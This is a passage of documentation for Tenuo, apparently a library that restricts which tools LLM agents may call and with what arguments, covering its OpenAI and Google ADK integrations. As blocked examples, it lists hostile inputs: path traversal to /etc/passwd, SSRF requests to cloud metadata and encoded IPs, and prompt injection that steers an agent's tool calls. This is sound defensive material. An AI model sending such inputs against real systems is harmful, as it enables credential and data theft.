`Exact(v)` | `Exact("report.pdf")` | Exact value only | | `Pattern(p)` | `Pattern("/data/*.pdf")` | Glob pattern | | `Regex(r)` | `Regex(r"^[a-z]+$")` | Regular expression | | `OneOf([...])` | `OneOf(["dev", "staging"])` | Set membership | | `Range(min, max)` | `Range(0, 100)` | Numeric bounds | | `Subpath(root)` | `Subpath("/data")` | Secure path containment | | `UrlSafe(...)` | `UrlSafe()` | SSRF-safe URL validation | | `Shlex(allow)` | `Shlex(allow=["ls", "cat"])` | Safe shell command validation | ```python from tenuo.openai import guard, Pattern, Range, OneOf, Subpath client = guard( openai.OpenAI(), allow_tools=["read_file", "search", "calculate"], constraints={ "read_file": { "path": Subpath("/data"), # Blocks path traversal attacks }, "search": { "query": Pattern("*"), "max_results": Range(1, 20), }, "calculate": { "operation": OneOf(["add", "subtract", "multiply"]), }, } ) ``` ### Closed-World Constraints (Zero Trust) > [!IMPORTANT] > **Tenuo enforces Zero Trust for arguments.** > Once you add **any** constraint to a tool, Tenuo switches to a "closed-world" model for that tool. > > This means **ANY argument not explicitly listed in your constraints will be REJECTED**. > Tenuo does not silently ignore extra arguments --it blocks them to prevent "shadow argument" attacks. > > ```python > # Blocks call with 'timeout' arg because it's unknown > constraints={"api_call": {"url": UrlSafe()}} > > # Explicitly allow unknown args (less secure) > constraints={"api_call": {"url": UrlSafe(), "_allow_unknown": True}} > > # Or allow specific field with Wildcard > constraints={"api_call": {"url": UrlSafe(), "timeout": Wildcard()}} > ``` ### Subpath: Secure Path Containment `Subpath` blocks path traversal attacks that `Pattern` cannot catch: ```python # Pattern is vulnerable to traversal: Pattern("/data/*").matches("/data/../etc/passwd") # True (BAD!) # Subpath normalizes first: Subpath("/data").matches("/data/../etc/passwd") # False (SAFE!) ``` For maximum security, combine `Subpath` with [path_jail](https://github.com/tenuo-ai/path_jail) at execution time. ### UrlSafe: SSRF Protection `UrlSafe` blocks Server-Side Request Forgery (SSRF) attacks: ```python from tenuo.openai import UrlSafe # Default: blocks private IPs, loopback, cloud metadata constraint = UrlSafe() constraint.is_safe("https://api.github.com/") # True constraint.is_safe("http://169.254.169.254/") # False (AWS metadata) constraint.is_safe("http://127.0.0.1/") # False (loopback) constraint.is_safe("http://10.0.0.1/") # False (private IP) # Strict: domain allowlist constraint = UrlSafe(allow_domains=["api.github.com", "*.googleapis.com"]) ``` **Blocked attack vectors:** - Private IPs (10.x, 172.16.x, 192.168.x) - Loopback (127.x, ::1, localhost) - Cloud metadata (169.254.169.254) - IP encoding bypasses (decimal, hex, octal, IPv6-mapped) - URL-encoded hostnames See [Constraints documentation](./constraints.md#urlsafe) for full options. --- ## Development vs Production ### Development: Log violations, skip denied calls During development, use `on_denial="log"` to see what would be blocked. Denied tool calls are removed from the response (same as `"skip"`) and a warning is logged: ```python client = guard( openai.OpenAI(), allow_tools=["search", "read_file"], constraints={"read_file": {"path": Subpath("/data")}}, on_denial="log" # Remove denied tool calls + log warning ) # Denied tool calls are removed; warnings logged to stderr response = client.chat.completions.create(...) # WARNING: Tool 'delete_file' not in allowlist - removed from response ``` ### Production: Raise exceptions In production, use `on_denial="raise"` (the default) to block unauthorized calls: ```python client = guard( openai.OpenAI(), allow_tools=["search"], on_denial="raise" # Raise exception on violation ) try: response = client.chat.completions.create(...) except ToolDenied as e: print(f"Blocked: {e.tool_name}") ``` ### Denial Modes | Mode | Behavior | Use Case | |------|----------|----------| | `"raise"` (default) | Raise `ToolDenied` exception | Production | | `"log"` | Remove denied tool call + log warning | Development/testing | | `"skip"` | Silently remove the denied tool call | Legacy compatibility | --- ## Testing Your Configuration Before making API calls, validate your setup: ```python from tenuo.openai import guard, OpenAIConfigurationError client = guard( openai.OpenAI(), warrant=warrant, signing_key=agent_key, ) # Pre-flight check - catch config errors before production try: client.validate() print("Configuration valid") except OpenAIConfigurationError as e: print(f"Config error: {e}") ``` The `validate()` method checks: - Constraint parameter names match tool schemas - Warrant holder matches signing key (Tier 2) - No conflicting allow/deny rules - All constraint types are supported --- ## Streaming Protection Tenuo uses **buffer-verify-emit** to prevent TOCTOU attacks in streaming: ``` 1. BUFFER: Accumulate tool_call chunks silently 2. VERIFY: On completion, check tool + constraints 3. EMIT: Yield verified call OR raise denial ``` ```python # Streaming just works - no code change needed for chunk in client.chat.completions.create(..., stream=True): print(chunk) # Tool calls only emitted after verification ``` > [!NOTE] > Use a regular `for` loop with sync `OpenAI()` clients. If you need `async for`, use `AsyncOpenAI()` instead. --- ## OpenAI Agents SDK Integration Tenuo integrates with the [OpenAI Agents SDK](https://github.com/openai/openai-agents-python) via guardrails. ### Tier 1: Constraint-Based Guardrails ```python from agents import Agent, Runner from tenuo.openai import create_tier1_guardrail, Pattern # Create guardrail with inline constraints guardrail = create_tier1_guardrail( constraints={"send_email": {"to": Pattern("*@company.com")}} ) # Attach to agent agent = Agent( name="Assistant", instructions="Help the user with email tasks", input_guardrails=[guardrail], ) # Run - unauthorized tool calls trigger tripwire result = await Runner.run(agent, "Send email to alice@company.com") ``` ### Tier 2: Warrant-Based Guardrails ```python from tenuo.openai import create_tier2_guardrail from tenuo import SigningKey, Warrant, Pattern # Control plane issues warrant to agent agent_key = SigningKey.generate() warrant = (Warrant.mint_builder() .capability("send_email", {"to": Pattern("*@company.com")}) .holder(agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Create Tier 2 guardrail with PoP guardrail = create_tier2_guardrail( warrant=warrant, signing_key=agent_key, ) agent = Agent( name="Authorized Assistant", input_guardrails=[guardrail], ) ``` ### Guardrail Options | Parameter | Description | |-----------|-------------| | `allow_tools` | Allowlist of permitted tool names | | `deny_tools` | Denylist of forbidden tool names | | `constraints` | Per-tool argument constraints | | `warrant` | Tier 2 warrant (optional) | | `signing_key` | Required if warrant provided | | `tripwire` | If True, halt agent on violation (default: True) | | `audit_callback` | Optional callback for audit events | --- ## Audit Logging Track all authorization decisions: ```python from tenuo.openai import guard, AuditEvent, Subpath def audit_callback(event: AuditEvent): print(f"{event.decision}: {event.tool_name}") print(f" Session: {event.session_id}") print(f" Tier: {event.tier}") client = guard( openai.OpenAI(), constraints={"read_file": {"path": Subpath("/data")}}, audit_callback=audit_callback, ) ``` ### AuditEvent Fields | Field | Description | |-------|-------------| | `session_id` | Unique session identifier | | `timestamp` | Unix timestamp | | `tool_name` | Tool being called | | `arguments` | Tool arguments | | `decision` | "ALLOW" or "DENY" | | `reason` | Why decision was made | | `tier` | "tier1" or "tier2" | | `constraint_hash` | Hash of Tier 1 config | | `warrant_id` | Warrant ID (Tier 2 only) | --- ## Developer Experience ### Debug Mode ```python from tenuo.openai import enable_debug enable_debug() # Verbose logging to stderr ``` ### Pre-flight Validation ```python client = guard(openai.OpenAI(), warrant=warrant, signing_key=key) # Check configuration before making calls client.validate() # Raises OpenAIConfigurationError if misconfigured ``` --- ## Error Reference The OpenAI integration uses custom exception types for API consistency: ```python from tenuo.openai import ( TenuoOpenAIError, ToolDenied, OpenAIConstraintViolation, OpenAIConfigurationError, ) try: response = client.chat.completions.create(...) except ToolDenied as e: print(f"Tool denied: {e}") print(f"Error code: {e.code}") # e.g., "T1_001" if e.quick_fix: print(f"Quick fix: {e.quick_fix}") except OpenAIConstraintViolation as e: print(f"Constraint failed: {e}") print(f"Param: {e.param}") print(f"Value: {e.value}") except TenuoOpenAIError as e: # Catch-all for Tenuo OpenAI errors print(f"Error: {e} (code: {e.code})") ``` ### Error Types | Error | Tier | Code | Meaning | |-------|------|------|---------| | `ToolDenied` | 1+ | T1_001 | Tool not in allowlist | | `OpenAIConstraintViolation` | 1+ | T1_002 | Argument fails constraint | | `WarrantDenied` | 2 | T2_001 | Warrant doesn't allow tool/args | | `MissingSigningKey` | 2 | T2_002 | Warrant provided without signing_key | | `OpenAIConfigurationError` | 1+ | CFG_002, CFG_003, C1_003 | Invalid guard() configuration | | `MalformedToolCall` | 1+ | T1_003 | Invalid JSON in tool arguments | | `BufferOverflow` | 1+ | T1_004 | Streaming buffer limit exceeded | ### Wire Code Support The OpenAI integration uses its own error codes (T1_001, T2_001, etc.) for API consistency with OpenAI's patterns. However, the underlying authorization logic uses Tenuo's canonical wire codes (1000-2199) internally. **Note**: For direct access to canonical wire codes, use `tenuo.langchain` or raw `Warrant.authorize()` calls. The OpenAI integration prioritizes OpenAI-style error handling for better developer experience. --- ## Responses API ```python client = guard(openai.OpenAI(), allow_tools=["search"]) # Works with Responses API response = client.responses.create(...) ``` --- ## Full Example ```python import openai from tenuo.openai import guard, Pattern, Range, Subpath from tenuo import SigningKey, Warrant # ============================================================ # TIER 1: Quick Start (no crypto) # ============================================================ client_simple = guard( openai.OpenAI(), allow_tools=["search", "read_file"], constraints={ "search": {"max_results": Range(1, 10)}, "read_file": {"path": Subpath("/data")}, } ) response = client_simple.chat.completions.create( model="gpt-4o", messages=[{"role": "user", "content": "Read /data/report.txt"}], tools=[SEARCH_TOOL, READ_FILE_TOOL], ) # ============================================================ # TIER 2: Full Crypto (when you need it) # ============================================================ # Setup keys control_plane_key = SigningKey.generate() agent_key = SigningKey.generate() # Control plane issues warrant warrant = (Warrant.mint_builder() .capability("search") .capability("read_file", {"path": Subpath("/data")}) .holder(agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Agent uses warrant client_secure = guard( openai.OpenAI(), warrant=warrant, signing_key=agent_key, ) # Use exactly like Tier 1 response = client_secure.chat.completions.create( model="gpt-4o", messages=[{"role": "user", "content": "Read /data/report.txt"}], tools=[SEARCH_TOOL, READ_FILE_TOOL], ) ``` --- ## Delegation Warrants can be attenuated (narrowed) and delegated to downstream agents. The child warrant can only contain a subset of the parent's capabilities: ```python from tenuo import SigningKey, Warrant from tenuo.openai import guard issuer = SigningKey.generate() orchestrator = SigningKey.generate() worker = SigningKey.generate() root = (Warrant.mint_builder() .capability("search").capability("read_file").capability("delete_file") .holder(orchestrator.public_key).ttl(3600).mint(issuer)) # Attenuate: worker can only search child = (root.grant_builder() .capability("search") .holder(worker.public_key).ttl(1800).grant(orchestrator)) # Use child warrant with worker's key client = guard(openai.OpenAI(), warrant=child, signing_key=worker) ``` --- ## See Also - [LangChain Integration](./langchain) - Tool protection for LangChain - [LangGraph Integration](./langgraph) - Multi-agent graph security - [Security](./security) - Threat model, best practices - [Quickstart](/quickstart/) - Getting started guide --- # Google ADK Integration Source: https://tenuo.ai/google-adk Tenuo provides first-class support for [Google's Agent Development Kit (ADK)](https://github.com/google/adk-python), enabling warrant-based authorization and constraint validation for ADK agents. --- ## Which Pattern Should I Use? **Answer these questions:** 1. **Are your tools running in the same process as the agent?** - Yes -> Tier 1 (GuardBuilder with inline constraints) - No -> Tier 2 (Warrant + Proof-of-Possession) 2. **Do you need protection against insider threats or code tampering?** - Yes -> Tier 2 (constraints in cryptographic warrant) - No -> Tier 1 is sufficient 3. **Do you need to delegate tasks to other agents?** - Yes -> Tier 2 + [A2A integration](./a2a.md) - No -> ADK integration only **TL;DR:** Start with Tier 1. Move to Tier 2 when you need crypto. --- ## Installation ```bash uv pip install "tenuo[google_adk]" ``` --- ## Quick Start ### Tier 1: With Constraints (5 minutes) Use the **builder pattern** for semantic constraints that block attacks: ```python from google.adk.agents import Agent from tenuo.google_adk import GuardBuilder from tenuo.constraints import Subpath, UrlSafe # Define your ADK tools (FunctionTool, or plain functions with docstrings) def read_file(path: str) -> str: """Read a file at the given path.""" ... def web_search(url: str) -> str: """Search the web at the given URL.""" ... # Build guard with inline constraints guard = (GuardBuilder() .allow("read_file", path=Subpath("/data")) .allow("web_search", url=UrlSafe(allow_domains=["*.google.com"])) .build()) # Create agent with guard agent = Agent( name="assistant", tools=guard.filter_tools([read_file, web_search]), before_tool_callback=guard.before_tool, ) ``` **What gets blocked:** - `read_file("/etc/passwd")` - path traversal outside `/data` - `web_search(url="http://169.254.169.254/")` - SSRF to AWS metadata - `delete_file(...)` - tool not in `.allow()` list - Any argument not explicitly constrained (Zero Trust) **Simple allowlist only?** Use `protect_agent()` for basic protection without constraints: ```python from tenuo.google_adk import protect_agent agent = protect_agent(my_agent, allow=["search", "read_file"]) ``` --- ## Tier 2: Warrants (Production) When you need cryptographic proof that constraints haven't been tampered with: ```python from google.adk.agents import Agent from tenuo.google_adk import GuardBuilder from tenuo import SigningKey, Warrant from tenuo.constraints import Subpath # Agent's signing key (proves possession) agent_key = SigningKey.generate() # Control plane issues warrant with constraints warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/data")) .capability("web_search") .holder(agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Build guard from warrant guard = (GuardBuilder() .with_warrant(warrant, agent_key) .build()) agent = Agent( name="assistant", tools=guard.filter_tools([read_file, web_search]), before_tool_callback=guard.before_tool, ) ``` **Why Tier 2?** Constraints live in the warrant (signed by control plane), not in your code. Even if an attacker modifies your Python, they can't change what the warrant allows. ### Human Approval Define gates and approvers on the warrant, then pass `.on_approval()`. See [Human Approvals](approvals.md) for the full guide. ```python from tenuo.approval import cli_prompt guard = (GuardBuilder() .with_warrant(warrant, agent_key) .on_approval(cli_prompt(approver_key=approver_key)) .build()) ``` --- ## Skill Mapping (When Names Don't Match) If your tool function name differs from the warrant skill name: ```python # Warrant has skill "read_file", but your function is named "read_file_tool" guard = (GuardBuilder() .with_warrant(warrant, agent_key) .map_skill("read_file_tool", "read_file") # tool_name -> skill_name .build()) ``` **Helpful error messages:** When a tool isn't found, Tenuo suggests fixes: ``` ToolAuthorizationError: Tool 'read_file_tool' not found in warrant Warrant has skills: ['read_file', 'web_search'] Did you mean 'read_file'? Fix: Add skill mapping to your GuardBuilder: .map_skill("read_file_tool", "read_file") ``` --- ## Tier 1 Security Model ### What Tier 1 Protects Against **Trust Boundary**: Code access Tier 1 enforces constraints at runtime, protecting against: | Threat | Protection | Example | |--------|------------|---------| | **Prompt Injection** | Strong | Attacker manipulates LLM to call `read_file("/etc/passwd")` - blocked by `Subpath("/data")` | | **LLM Hallucinations** | Strong | Model invents tool call with invalid args - blocked by constraints | | **SSRF Attempts** | Strong | LLM tries `http://169.254.169.254/` - blocked by `UrlSafe()` | | **Path Traversal** | Strong | `../../../etc/passwd` - normalized and blocked by `Subpath` | | **Development Bugs** | Strong | Accidental misconfiguration caught before production | **Key Insight**: Tier 1 is effective because **constraints are outside the LLM's control**. Even if an attacker fully manipulates the prompt, they cannot bypass Python-enforced guardrails. ### What Tier 1 Does NOT Protect Against | Threat | Protection | Why Not | |--------|------------|---------| | **Insider Threats** | None | Developer can modify code to bypass guards | | **Container Compromise** | None | Attacker with code execution can disable guards | | **Tampering** | None | No cryptographic proof of enforcement | | **Multi-Process Delegation** | Limited | Downstream service must trust caller's honesty | **Example Bypass**: ```python # Production code with guard guard = GuardBuilder().with_warrant(warrant, key).build() # Insider threat: Just don't use the guard agent = Agent(tools=[...]) # Bypassed ``` ### When to Use Tier 1 **Good for**: - Single-process agents (LLM and tools in same Python runtime) - Trusted execution environment (your laptop, internal servers) - Prototyping and development - Defense against external attackers (via prompt injection) **Not suitable for**: - Untrusted execution environment (shared infrastructure) - Zero-trust security model - Compliance requirements for audit trails - Multi-process systems with untrusted intermediaries ### When to Upgrade to Tier 2 Upgrade when you need: 1. **Cryptographic Proof**: Verifiable evidence of what was authorized 2. **Delegation Chains**: Multi-agent systems where agents delegate to each other 3. **Untrusted Callers**: Cannot trust calling agent to honestly report tool calls 4. **Audit Requirements**: Need non-repudiable logs of authorization decisions **Tier 2 adds**: - Warrant signatures (cryptographic authorization) - Proof-of-Possession (PoP) per tool call - Tamper-evident audit trail - Cross-process verification **Migration is simple**: ```python # Tier 1 guard = GuardBuilder().allow("read_file", path=Subpath("/data")).build() # Tier 2 (add warrant + signing key) guard = GuardBuilder().with_warrant(warrant, signing_key).build() ``` ### Bottom Line Tier 1 stops prompt injection, LLM hallucinations, and SSRF attacks. It enforces constraints at runtime within a single Python process. Tier 2 adds cryptographic verification for distributed systems and untrusted execution environments. **Choose based on your threat model:** - Single-process, trusted execution: Tier 1 - Multi-process, delegation, or untrusted execution: Tier 2 --- ## Closed-World Constraints (Zero Trust) > [!IMPORTANT] > **Tenuo enforces Zero Trust for arguments.** > Once you add **any** constraint to a tool, Tenuo switches to a "closed-world" model for that tool. > > This means **ANY argument not explicitly listed in your constraints will be REJECTED**. > Tenuo does not silently ignore extra arguments --it blocks them to prevent "shadow argument" attacks. > > ```python > # Blocks call with 'timeout' arg because it's unknown > guard = GuardBuilder().allow("api_call", url=UrlSafe()).build() > > # Explicitly allow unknown args (less secure) > guard = GuardBuilder().allow("api_call", url=UrlSafe(), _allow_unknown=True).build() > > # Or allow specific field with Wildcard > from tenuo.constraints import Wildcard > guard = GuardBuilder().allow("api_call", url=UrlSafe(), timeout=Wildcard()).build() > ``` --- ## Constraint Types Tenuo provides production-ready constraints for common attack vectors: ### Subpath: Secure Path Containment `Subpath` blocks path traversal attacks that `Pattern` cannot catch: ```python from tenuo.constraints import Subpath # Secure: Normalizes paths before checking guard = GuardBuilder().allow("read_file", path=Subpath("/data")).build() # Blocks: /data/../etc/passwd -- normalizes to /etc/passwd -- outside /data # Blocks: /data/./../../etc/passwd -- same # Allows: /data/reports/file.txt -- inside /data ``` ### UrlSafe: SSRF Protection `UrlSafe` blocks Server-Side Request Forgery (SSRF) attempts: ```python from tenuo.constraints import UrlSafe # Block private IPs, localhost, cloud metadata guard = GuardBuilder().allow("fetch", url=UrlSafe()).build() # Blocks: http://169.254.169.254/ (AWS metadata) # Blocks: http://127.0.0.1/ (localhost) # Blocks: http://10.0.0.1/ (private network) # Blocks: http://2130706433/ (decimal IP encoding) # With domain allowlist strict = UrlSafe(allow_domains=["api.example.com", "*.googleapis.com"]) # Allows: https://api.example.com/v1 # Allows: https://storage.googleapis.com/bucket # Blocks: https://evil.com/ ``` ### Pattern: Glob Matching Simple glob-style matching for strings: ```python from tenuo.constraints import Pattern # Email domain restriction guard = GuardBuilder().allow("send_email", to=Pattern("*@company.com")).build() # Query filtering guard = GuardBuilder().allow("search", query=Pattern("product:*")).build() ``` ### Range: Numeric Bounds Enforce min/max values for numeric arguments: ```python from tenuo.constraints import Range guard = GuardBuilder().allow("set_volume", level=Range(0, 100)).build() guard = GuardBuilder().allow("api_call", timeout=Range(1, 60)).build() ``` ### OneOf: Enumerated Values Restrict to specific allowed values: ```python from tenuo.constraints import OneOf guard = GuardBuilder().allow( "set_mode", mode=OneOf(["read-only", "read-write", "admin"]) ).build() ``` --- ## Integration Patterns ### Tool Filtering `filter_tools()` removes unauthorized tools before agent creation: ```python all_tools = [read_file, write_file, delete_file, web_search] # Only read_file and web_search will be visible to the agent filtered = guard.filter_tools(all_tools) agent = Agent( name="assistant", tools=filtered, # Reduced tool set before_tool_callback=guard.before_tool, ) ``` **Why filter?** Don't waste tokens showing tools the LLM can't use. ### ScopedWarrant (Multi-Agent Isolation) When multiple agents share the same session, use `ScopedWarrant` to prevent cross-agent warrant leaks: ```python from tenuo.google_adk import TenuoPlugin, ScopedWarrant # At agent creation time, scope the warrant plugin = TenuoPlugin(warrant_key="my_warrant") scoped = ScopedWarrant(warrant, agent_name="research_agent") # Store in session state session_state["my_warrant"] =scoped # Before each turn, plugin validates the warrant belongs to this agent agent = Agent( name="research_agent", before_agent_callback=plugin.before_agent_callback, ) ``` ### Argument Remapping Map ADK tool argument names to warrant constraint names: ```python guard = (GuardBuilder() .with_warrant(warrant, agent_key) .map_skill("read_file_tool", "read_file", file_path="path") .build()) # Tool called with {"file_path": "/data/report.txt"} # Validated against warrant's "path" constraint ``` ### Denial Handling Control what happens when a tool call is denied: ```python # Raise exception (stops execution) guard = GuardBuilder().allow("read_file", path=Subpath("/data")).on_denial("raise").build() # Return error dict (default - agent sees denial reason and can adapt) guard = GuardBuilder().allow("read_file", path=Subpath("/data")).on_denial("return").build() ``` ### Error Handling Google ADK integration uses custom exceptions (`ToolAuthorizationError`, `MissingSigningKeyError`) for API consistency. Authorization goes through the `before_tool` callback registered on the ADK agent — there is no standalone `guard.check()` method. **With `on_denial("raise")`**, the `before_tool` callback raises `ToolAuthorizationError`: ```python from tenuo.google_adk import GuardBuilder, ToolAuthorizationError guard = (GuardBuilder() .allow("transfer", amount=Range(0, 1000)) .on_denial("raise") .build()) agent = Agent( name="banker", tools=guard.filter_tools([transfer]), before_tool_callback=guard.before_tool, ) # When the LLM calls transfer(amount=5000), the before_tool callback raises: # ToolAuthorizationError with .tool_name, .tool_args attributes ``` **With `on_denial("return")` (default)**, the callback returns a structured error dict that the LLM sees as the tool result: ```python guard = GuardBuilder().allow("read_file", path=Subpath("/data")).on_denial("return").build() # When the LLM calls read_file(path="/etc/passwd"), before_tool returns: # { # "error": "authorization_denied", # "message": "Authorization denied: Argument 'path' violates constraint", # "details": "...", # "hints": [...] # } ``` **Note**: Google ADK is designed as a higher-level wrapper with ADK-specific error handling. For direct access to Tenuo's canonical wire codes (1000-2199), use the `tenuo.langchain` integration or raw `Warrant.authorize()` calls. --- ## Audit Logging Every tool call decision is logged with context: ```python guard = (GuardBuilder() .allow("read_file", path=Subpath("/data")) .audit_log("audit.jsonl") # File path or file-like object .build()) ``` **Event fields** (JSON lines written to the audit log): - `event`: `"tool_allowed"`, `"tool_denied"`, or `"tool_dry_run_denied"` - `tool`: Name of the tool - `args`: Tool arguments (values truncated to 100 chars) - `warrant`: Warrant ID and issuer (if available) - `timestamp`: ISO 8601 timestamp --- ## Builder API Reference ### `.allow(tool_name, **constraints)` Allow a tool with optional constraints (Tier 1): ```python guard = (GuardBuilder() .allow("read_file", path=Subpath("/data")) .allow("search", query=Pattern("*")) .build()) ``` ### `.with_warrant(warrant, signing_key)` Use cryptographic warrant (Tier 2): ```python guard = (GuardBuilder() .with_warrant(warrant, agent_key) .build()) ``` ### `.map_skill(tool_name, skill_name, **arg_mappings)` Map tool/argument names to warrant skills: ```python guard = (GuardBuilder() .with_warrant(warrant, agent_key) .map_skill("read_file_tool", "read_file", file_path="path") .build()) ``` ### `.on_denial(mode)` Control denial behavior (`"raise"` or `"return"`): ```python guard = GuardBuilder().allow("read_file").on_denial("raise").build() ``` ### `.audit_log(log)` Set audit log destination (file path or file-like object): ```python guard = GuardBuilder().allow("read_file").audit_log("audit.jsonl").build() ``` --- ## Advanced: Dynamic Warrants For per-request warrants (e.g., user-specific capabilities): ```python # Configure guard to look up warrant from session state guard = (GuardBuilder() .with_warrant_key("user_warrant") # Key in ToolContext.session_state .build()) # At runtime, inject user-specific warrant def handle_request(user_id): warrant = issue_warrant_for_user(user_id) session_state["user_warrant"] = warrant # Agent uses the injected warrant agent.run(...) ``` --- ## Tier 1 vs Tier 2 Comparison | Feature | Tier 1 (Direct) | Tier 2 (Warrant + PoP) | |---------|-----------------|------------------------| | **Setup** | `.allow()` builder | Warrant issuance + signing key | | **Cryptographic proof** | No | Yes (Ed25519 signatures) | | **Protection against insider threats** | No | Yes | | **Multi-agent delegation** | No | Yes (attenuation chains) | | **Audit trail** | Events only | Cryptographic receipts | | **Performance** | Fast (no crypto) | Slightly slower (signature checks) | | **Use case** | Prototyping, single-process | Production, distributed agents | --- ## Examples **Tier 1 - Research Agent**: ```python from google.adk.agents import Agent from tenuo.google_adk import GuardBuilder from tenuo.constraints import Subpath, UrlSafe guard = (GuardBuilder() .allow("read_file", path=Subpath("/research/papers")) .allow("web_search", url=UrlSafe(allow_domains=["*.arxiv.org", "*.scholar.google.com"])) .build()) agent = Agent( name="research_agent", tools=guard.filter_tools([read_file, web_search]), before_tool_callback=guard.before_tool, ) ``` **Tier 2 - Multi-Agent System**: ```python from google.adk.agents import Agent from tenuo.google_adk import GuardBuilder, TenuoPlugin, ScopedWarrant from tenuo import SigningKey, Warrant from tenuo.constraints import Subpath # Control plane issues warrants orchestrator_key = SigningKey.generate() researcher_key = SigningKey.generate() researcher_warrant = (Warrant.mint_builder() .capability("read_file", path=Subpath("/research")) .capability("web_search") .holder(researcher_key.public_key) .ttl(3600) .mint(orchestrator_key)) # Create scoped warrant for session isolation plugin = TenuoPlugin(warrant_key="agent_warrant") scoped = ScopedWarrant(researcher_warrant, "researcher") # Build guard guard = (GuardBuilder() .with_warrant(researcher_warrant, researcher_key) .build()) # Create agent researcher = Agent( name="researcher", tools=guard.filter_tools([read_file, web_search]), before_tool_callback=guard.before_tool, before_agent_callback=plugin.before_agent_callback, ) # Run with scoped warrant in session state session_state = {"agent_warrant": scoped} # ... use session_state in agent execution ``` --- ## MCP Tools with ADK ADK agents can use [Model Context Protocol (MCP)](https://modelcontextprotocol.io) tools with Tenuo authorization. MCP provides a standard protocol for AI agents to access tools like filesystems, databases, and APIs. ### Pattern: ADK Agent + MCP Tools ```python from google.adk.agents import Agent from tenuo.mcp import SecureMCPClient from tenuo import configure, mint, Capability, Subpath, SigningKey # Configure Tenuo key = SigningKey.generate() configure(issuer_key=key) # Connect to MCP server with automatic tool discovery async with SecureMCPClient("python", ["mcp_server.py"], register_config=True) as mcp: # Get protected MCP tools mcp_tools = mcp.tools # Create ADK agent with MCP tools agent = Agent( name="assistant", tools=[mcp_tools["read_file"], mcp_tools["search"]], ) # Execute with warrant scoping async with mint(Capability("read_file", path=Subpath("/data"))): result = await agent.run("Read the configuration file") ``` ### Example: Research Agent with MCP See [`examples/mcp/`](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-python/examples/mcp) for complete examples: - **`langchain_mcp_demo.py`** - LangChain + MCP integration (similar pattern applies to ADK) - **`mcp_a2a_delegation.py`** - Multi-agent system with MCP tools via A2A - **`crewai_mcp_demo.py`** - CrewAI crew workflow with MCP tools **When to use ADK + MCP:** - Agent needs standardized tool access (filesystem, databases, APIs) - Tools exposed via MCP protocol from other services - Want automatic tool discovery and protection - Need to constrain MCP tool arguments (paths, URLs, etc.) **See also:** [MCP Integration Guide](./mcp.md) for complete MCP documentation. --- ## Multi-Agent Systems with A2A For systems where ADK agents delegate tasks to other agents, use [Tenuo's A2A integration](./a2a.md) for warrant-based authorization across agent boundaries. ### Example: Incident Response with A2A See [`examples/google_adk_a2a_incident/`](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-python/examples/google_adk_a2a_incident) for a complete multi-agent system: **Architecture:** ``` Control Plane │ ├─→ Analyst Agent (ADK + A2A server) │ - Reads logs (Subpath constraint) │ - Queries threat DB │ - Can delegate block_ip to Responder │ └─→ Responder Agent (ADK + A2A server) - Blocks IPs (Cidr constraint) - Quarantines users ``` **Key Features:** - **Multi-process**: Agents run as separate Python processes communicating via HTTP - **Warrant attenuation**: Analyst narrows privileges when delegating to Responder - **Real A2A calls**: Demonstrates production architecture with network communication - **Attack scenarios**: Shows prompt injection, warrant replay, and privilege escalation attempts **Run the demo:** ```bash cd tenuo-python/examples/google_adk_a2a_incident python demo_distributed.py # Full demo with real HTTP python demo_distributed.py --no-services # Simulation mode ``` **What it demonstrates:** 1. **Detection Phase**: Detector analyzes logs for suspicious activity 2. **Investigation Phase**: Analyst queries threat DB via A2A 3. **Response Phase**: Analyst delegates to Responder with attenuated warrant 4. **Attack Defense**: - Prompt injection tries to block entire Internet -- blocked by Exact constraint - Forged warrant -- blocked by signature verification - Privilege escalation -- blocked by monotonicity checks ### When to Use ADK + A2A **Use A2A when:** - Multiple ADK agents delegate tasks to each other - Agents run in separate processes/services - Need cryptographic proof of delegation - Cross-organizational boundaries **Use ADK alone when:** - Single ADK agent with local tools - All tools in same process - No delegation needed **Pattern:** ```python # Orchestrator agent (ADK + A2A client) from google.adk.agents import Agent from tenuo.google_adk import GuardBuilder from tenuo.a2a import A2AClient # Guard for orchestrator's own tools guard = GuardBuilder().with_warrant(orchestrator_warrant, key).build() orchestrator = Agent( name="orchestrator", tools=guard.filter_tools([local_tool1, local_tool2]), before_tool_callback=guard.before_tool, ) # Delegate to worker via A2A async def delegate_to_worker(task): task_warrant = ( orchestrator_warrant.grant_builder() .holder(worker_key.public_key) .capability("analyze") .ttl(300) .grant(key) ) client = A2AClient("https://worker.example.com") return await client.send_task( warrant=task_warrant, skill="analyze", arguments={"data": task}, signing_key=key, ) ``` --- ## Developer Tools Tenuo provides debugging and visualization utilities in `tenuo.google_adk`. ### Denial Explanations and Hints ```python from tenuo.google_adk import GuardBuilder, explain_denial guard = GuardBuilder().with_warrant(warrant, signing_key).build() result = guard.before_tool(tool, args, tool_context) if result: explain_denial(result) # Colored output with recovery hints ``` Output includes error details and actionable suggestions like: - Constraint violations with examples of valid values - "Did you mean?" suggestions for mismatched tool names - Available skills in warrant ### Warrant Visualization ```python from tenuo.google_adk import visualize_warrant visualize_warrant(my_warrant) # ASCII table with capabilities ``` Shows warrant ID, expiry, skills, and constraints in readable format. ### Auto-Detect Skill Mappings ```python from tenuo.google_adk import suggest_skill_mapping suggestions = suggest_skill_mapping( tools=[read_file_tool, web_search_api], warrant=my_warrant, verbose=True # Prints analysis ) # Returns: {"read_file_tool": "read_file", "web_search_api": "web_search"} # Review then apply: builder = GuardBuilder() for tool_name, skill_name in suggestions.items(): builder = builder.map_skill(tool_name, skill_name) guard = builder.build() ``` > [!CAUTION] > Review suggestions before use - incorrect mappings could grant unintended access. ### Development Modes ```python # Development: Log denials but don't block (dry run via builder) dev_guard = GuardBuilder().dry_run().on_denial("return").build() # Production: Raise exceptions on denial prod_guard = GuardBuilder().on_denial("raise").build() # Production: Return structured error (default) default_guard = GuardBuilder().on_denial("return").build() # Testing: Dry run mode (via direct constructor) test_guard = TenuoGuard( warrant=warrant, signing_key=key, dry_run=True, # Logs with "DRY RUN", never blocks ) ``` ### Chain Multiple Callbacks ```python from tenuo.google_adk import chain_callbacks agent = Agent( tools=[...], before_tool_callback=chain_callbacks( guard.before_tool, # Authorization rate_limiter.check, # Rate limiting audit_logger, # Logging ), ) ``` --- --- ## Advanced: Decorator Pattern For simple tools with static constraints, use the 